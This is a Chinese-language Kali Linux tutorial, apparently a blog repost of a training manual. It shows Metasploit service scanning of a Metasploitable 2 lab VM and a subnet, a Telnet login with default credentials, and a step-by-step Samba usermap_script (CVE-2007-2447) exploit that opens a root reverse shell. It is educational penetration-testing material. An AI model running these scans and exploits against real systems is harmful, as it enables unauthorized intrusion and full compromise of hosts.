Kail Linux滲透測試教程之在Metasploit中掃描
Kail Linux滲透測試教程之在Metasploit中掃描
在Metasploit中掃描
在Metasploit中,附帶了大量的內建掃描器。使用這些掃描器可以搜尋並獲得來自一臺計算機或一個完整網路的服務資訊。本節將介紹使用Metasploit中的輔助模組實現掃描。
【例項4-4】在Metasploit中,掃描目標主機。具體操作步驟如下所示:
(1)啟動MSF終端。執行命令如下所示:
root@kali:~# msfconsole
msf>
(2)搜尋所有可用的掃描模組。執行命令如下所示:
msf > search scanner
Matching Modules
================
Name Disclosure Date Rank Description
---- -------------------- ----------- ---------------------------------------------
auxiliary/admin/smb/check_dir_file normal SMB Scanner Check File/Directory Utility
auxiliary/bnat/bnat_scan normal BNAT Scanner
auxiliary/gather/citrix_published_applications normal Citrix MetaFrame ICA Published Applications Scanner
auxiliary/gather/enum_dns normal DNS Record Scanner and Enumerator
auxiliary/gather/natpmp_external_address normal NAT-PMP External Address Scanner
auxiliary/gather/windows_deployment_services_shares normal Microsoft Windows Deployment Services Unattend Gatherer
auxiliary/pro/nexpose normal PRO: Nexpose Scanner Integration
auxiliary/pro/webscan normal PRO: Web Application Scanner
auxiliary/scanner/afp/afp_login normal Apple Filing Protocol Login Utility
auxiliary/scanner/afp/afp_server_info normal Apple Filing Protocol Info Enumerator
auxiliary/scanner/backdoor/energizer_duo_detect normal Energizer DUO Trojan Scanner
auxiliary/scanner/chargen/chargen_probe 1996-02-08 normal Chargen Probe Utility
輸出資訊顯示了,Metasploit中所有可用的掃描模組。這些模組針對各種型別的服務。這裡為了縮小檢視的範圍,搜尋SSH服務的掃描模組。
(3)掃描SSH服務的掃描模組。執行命令如下所示:
msf > search scanner/ssh
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ----------- -------------------------------------------
auxiliary/scanner/ssh/cerberus_sftp_enumusers 2014-05-27 normal Cerberus FTP Server SFTP Username Enumeration
auxiliary/scanner/ssh/ssh_enumusers normal SSH Username Enumeration
auxiliary/scanner/ssh/ssh_identify_pubkeys normal SSH Public Key Acceptance Scanner
auxiliary/scanner/ssh/ssh_login normal SSH Login Check Scanner
auxiliary/scanner/ssh/ssh_login_pubkey normal SSH Public Key Login Scanner
auxiliary/scanner/ssh/ssh_version normal SSH Version Scanner
輸出的資訊,顯示了幾個有效的SSH模組。現在就可以選擇相應的模組,進行掃描了。
(4)使用ssh_version模組掃描SSH服務。執行命令如下所示:
msf > use auxiliary/scanner/ssh/ssh_version
(5)檢視ssh_version模組下可配置的選項引數。執行命令如下所示:
msf auxiliary(ssh_version) > show options
Module options (auxiliary/scanner/ssh/ssh_version):
Name Current Setting Required Description
------------ --------------- -------- -----------------------------------------------------------------------------
RHOSTS yes The target address range or CIDR identifier
RPORT 22 yes The target port
THREADS 1 yes The number of concurrent threads
TIMEOUT 30 yes Timeout for the SSH probe
輸出的資訊顯示了可配置的模組。從以上結果中,可以看出RHOSTS選項沒有配置。
(6)配置RHOSTS選項。執行命令如下所示:
msf auxiliary(ssh_version) > set RHOSTS 192.168.6.105
RHOSTS => 192.168.6.105
從輸出的結果中,可以看到RHOSTS(目標主機地址)選項已經設定為192.168.6.105(Metasploit 2作業系統)。
(7)啟動掃描。執行命令如下所示:
msf auxiliary(ssh_version) > exploit
[*] 192.168.6.105:22, SSH server version: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_version) >
從輸出的資訊中,可以看到目標系統正執行SSH服務,並且版本為SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1。
【例項4-5】掃描MySQL伺服器。具體操作步驟如下所示:
(1)登入MSF終端。執行命令如下所示:
root@kali:~# msfconsole
msf>
(2)使用mysql_version模組,並檢視該模組中可配置的選項引數。執行命令如下所示:
msf > use auxiliary/scanner/mysql/mysql_version
msf auxiliary(mysql_version) > show options
Module options (auxiliary/scanner/mysql/mysql_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 3306 yes The target port
THREADS 1 yes The number of concurrent threads
從輸出的資訊中,可以看到RHOSTS選項沒有配置。此時,配置RHOSTS來指定目標主機的地址。
(3)設定RHOSTS選項,並進行MySQL服務掃描。執行命令如下所示:
msf auxiliary(mysql_version) > set RHOSTS 192.168.6.105
RHOSTS => 192.168.6.105
msf auxiliary(mysql_version) > exploit
[*] 192.168.6.105:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
從輸出的結果中,可以看到目標主機上正在執行的MySQL版本是5.0.51a。
【例項4-6】掃描Telnet服務。具體操作步驟如下所示:
(1)啟動MSF終端。執行命令如下所示:
root@kali:~# msfconsole
msf>
(2)使用telnet_version模組,並檢視可配置的選項引數。執行命令如下所示:
msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
Name Current Setting Required Description
---- --------------- --------------- -----------------------------------------------------------------------
PASSWORD no The password for the specified username
RHOSTS yes The target address range or CIDR identifier
RPORT 23 yes The target port
THREADS 1 yes The number of concurrent threads
TIMEOUT 30 yes Timeout for the Telnet probe
USERNAME no The username to authenticate as
從輸出的資訊中,可以看到有四個必須配置選項。其中三個選項已經配置,現在配置RHOSTS選項。
(3)配置RHOSTS選項,並啟動掃描。執行命令如下所示:
msf auxiliary(telnet_version) > set RHOSTS 192.168.6.105
RHOSTS => 192.168.6.105
msf auxiliary(telnet_version) > exploit
[*] 192.168.6.105:23 TELNET _ _ _ _ _ _ ____ \x0a _ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a |_| \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
從以上輸出的資訊,僅看到一堆文字資訊。在這些資訊中,沒有關於Telnet服務的版本資訊。但是顯示了登入認證資訊,Login with msfadmin/msfadmin to get started。從這條資訊中,可以獲取到目標主機Telnet服務的使用者名稱和密碼。此時可以嘗試登入。
(4)登入目標主機的Telnet服務。執行命令如下所示:
root@kali:~# telnet -l msfadmin 192.168.6.105
Trying 192.168.6.105...
Connected to 192.168.6.105.
Escape character is '^]'.
Password: #輸入密碼msfadmin
Last login: Tue Jul 8 06:32:46 EDT 2014 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
No mail.
msfadmin@metasploitable:~$
以上資訊顯示了登入Telnet服務的資訊。在輸出資訊中看到msfadmin@metasploitable:~$提示符,則表示成功登入了Telnet服務。此時可以執行一些標準的Linux命令。例如檢視多個組的成員,執行命令如下所示:
msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
輸出資訊中顯示了msfadmin使用者的相關資訊。其中,gid表示groups中第1個組賬號為該使用者的基本組,groups中的其他組賬號為該使用者的附加組。
在Metasploit中,可以掃描一系列地址。下面以掃描Samba伺服器為例,介紹掃描一個網路內執行的Samba伺服器。首先演示下,掃描單個地址的Samba伺服器。
【例項4-7】演示目標掃描主機地址為192.168.6.105的Samba伺服器。具體操作步驟如下所示:
(1)啟動MSF終端。執行命令如下所示:
root@kali:~# msfconsole
msf>
(2)使用smb_version模組,並檢視該模組可配置的選項引數。執行命令如下所示:
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description
---- --------------- ----------- -----------------------------------------------------------------------
RHOSTS yes The target address range or CIDR identifier
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
(3)配置RHOSTS選項。執行命令如下所示:
msf auxiliary(smb_version) > set RHOSTS 192.168.6.105
RHOSTS => 192.168.6.105
(4)啟動掃描。執行命令如下所示:
msf auxiliary(smb_version) > exploit
[*] 192.168.6.105:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
從輸出的資訊中,可以看到掃描到正在執行的Samba伺服器及其版本。
接下來演示掃描192.168.6.0/24網路內所有執行Sambas伺服器的主機。具體操作步驟如下所示:
(1)選擇使用smb_version模組。執行命令如下所示:
msf > use auxiliary/scanner/smb/smb_version
(2)配置smb_version模組中可配置的選項引數。執行命令如下所示:
msf auxiliary(smb_version) > set RHOSTS 192.168.6.0/24
RHOSTS => 192.168.6.0/24
msf auxiliary(smb_version) > set THREADS 255
THREADS => 255
(3)啟動掃描。執行命令如下所示:
msf auxiliary(smb_version) > exploit
[*] 192.168.6.106:445 is running Windows 7 Ultimate 7601 Service Pack (Build 1) (language: Unknown) (name:WIN-RKPKQFBLG6C) (domain:WORKGROUP)
[*] 192.168.6.105:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
[*] 192.168.6.104:445 is running Windows XP Service Pack 0 / 1 (language: Chinese - Traditional) (name:LYW) (domain:LYW)
[*] 192.168.6.110:445 is running Windows XP Service Pack 0 / 1 (language: Chinese - Traditional) (name:AA-886OKJM26FSW) (domain:WORKGROUP)
[*] Scanned 255 of 256 hosts (099% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
從輸出的資訊中,可以看到192.168.6.0/24網路內有四臺主機上正在執行著Samba伺服器。在顯示的資訊中,可以看到執行Samba伺服器的作業系統型別。
【例項4-8】滲透攻擊Samba伺服器。具體操作步驟如下所示:
(1)啟動MSF終端。執行命令如下所示:
root@kali:~# msfconsole
msf>
(2)搜尋usermap模組。執行命令如下所示:
msf > search samba/usermap
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ----------- -----------------------------------------------
exploit/multi/samba/usermap_script 2007-05-14 excellent Samba "username map script" Command Execution
從輸出的資訊中,可以看到有個usermap模組。
(3)檢視usermap_script模組的詳細資訊。執行命令如下所示:
msf > info exploit/multi/samba/usermap_script
Name: Samba "username map script" Command Execution
Module: exploit/multi/samba/usermap_script
Platform: Unix
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Provided by:
jduck <jduck@metasploit.com>
Available targets:
Id Name
-- ----
0 Automatic
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 139 yes The target port
Payload information:
Space: 1024
Description:
This module exploits a command execution vulerability in Samba
versions 3.0.20 through 3.0.25rc3 when using the non-default
"username map script" configuration option. By specifying a username
containing shell meta characters, attackers can execute arbitrary
commands. No authentication is needed to exploit this vulnerability
since this option is used to map usernames prior to authentication!
References:
http://www.securityfocus.com/bid/23972
http://samba.org/samba/security/CVE-2007-2447.html
輸出的資訊顯示了usermap_script模組的詳細資訊。從輸出資訊中可以看到,該模組僅需要配置RHOST選項就可以了。這裡不需要載入任何攻擊載荷,就可以自動使用一個Linux命令Shell。
(3)選擇使用usermap_script模組,並設定RHOST選項。執行命令如下所示:
msf > use exploit/multi/samba/usermap_script
msf exploit(usermap_script) > set RHOST 192.168.6.105
RHOST => 192.168.6.105
(4)啟動滲透攻擊。執行命令如下所示:
msf exploit(usermap_script) > exploit
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo IwmN37I0D3cTGJhv;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "IwmN37I0D3cTGJhv\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.6.103:4444 -> 192.168.6.105:34848) at 2014-07-16 10:00:59 +0800
從輸出的資訊中,可以看到成功的開啟了一個會話。這表示已成功攻擊了目標主機。此時使用者可以執行一些Linux命令,檢視目標主機的相關資訊。如下所示:
whoami #檢視當前登入系統的使用者
root
從輸出的資訊中,可以看到當前目標系統登入的使用者名稱是root。如果想了解該使用者的詳細資訊,可以使用id命令檢視。如下所示:
id #檢視當前登入使用者的資訊
uid=0(root) gid=0(root)
輸出的資訊表上root使用者屬於root組,並且其UID和GID都為0。
本文選自:Kail Linux滲透測試實訓手冊大學霸內部資料,轉載請註明出處,尊重技術尊重IT人!
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/29597077/viewspace-1788180/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- Metasploit滲透測試指南
- 埠掃描器——ZenmapKail Linux滲透測APKAILinux
- 滲透測試之主機探測與埠掃描
- 記學習滲透測試之掃描埠
- metasploit滲透測試筆記(內網滲透篇)筆記內網
- 【滲透測試筆記】之【MSF 弱點掃描】筆記
- 記學習滲透測試之漏洞掃描一
- 記學習滲透測試之漏洞掃描二
- 記學習滲透測試之漏洞掃描簡述
- 滲透測試與漏洞掃描有什麼區別?
- Metasploit 滲透測試手冊第三版 第二章 資訊收集與掃描(翻譯)
- metasploit 滲透測試筆記(基礎篇)筆記
- 9、Metasploit域滲透測試全程實錄
- APP滲透測試基本內容與漏洞掃描介紹APP
- 滲透測試工程師必知的漏洞掃描工具!工程師
- Kail Linux滲透測試實訓手冊第3章資訊收集AILinux
- 滲透測試會用到哪些工具?滲透測試教程
- Metasploit 滲透測試手冊第三版 第二章 資訊收集與掃描 -續(翻譯)
- metasploit 滲透測試筆記(meterpreter篇)筆記
- Python滲透測試之tcp幾種埠掃描的講解PythonTCP
- Perun 內網滲透掃描神器內網
- 《Metasploit滲透測試手冊》—第3章3.3節在WindowsXPSP2上進行滲透測試8.7使用Metasploit進行模糊測試Windows
- Linux滲透測試Linux
- 滲透測試和漏洞掃描是什麼?兩者有何區別?
- Metasploit滲透測試學習筆記——7、使用Metasploit生成各種payload筆記
- 網路安全滲透測試的型別!滲透測試入門教程型別
- Android滲透測試Android滲透測試入門教程大學霸Android
- 從滲透測試到漏洞掃描 看我們如何對網站做安全防護網站
- 搭建滲透測試環境選自KaliLinux無線網路滲透測試教程Linux
- linux滲透測試技巧2則Linux
- linux滲透測試後續指南Linux
- Metasploit Pro 4.22.3-2024041701 (Linux, Windows) - 專業滲透測試框架LinuxWindows框架
- 滲透測試工具Burpsuite操作教程UI
- 【網路安全純乾貨分享】漏洞掃描和滲透測試的區別是什麼?
- 漏洞掃描、滲透測試、程式碼審計三者之間有什麼差異?
- 網站滲透測試漏掃工具的應用技巧網站
- 滲透測試是否需要學習LinuxLinux
- 滲透測試-資訊收集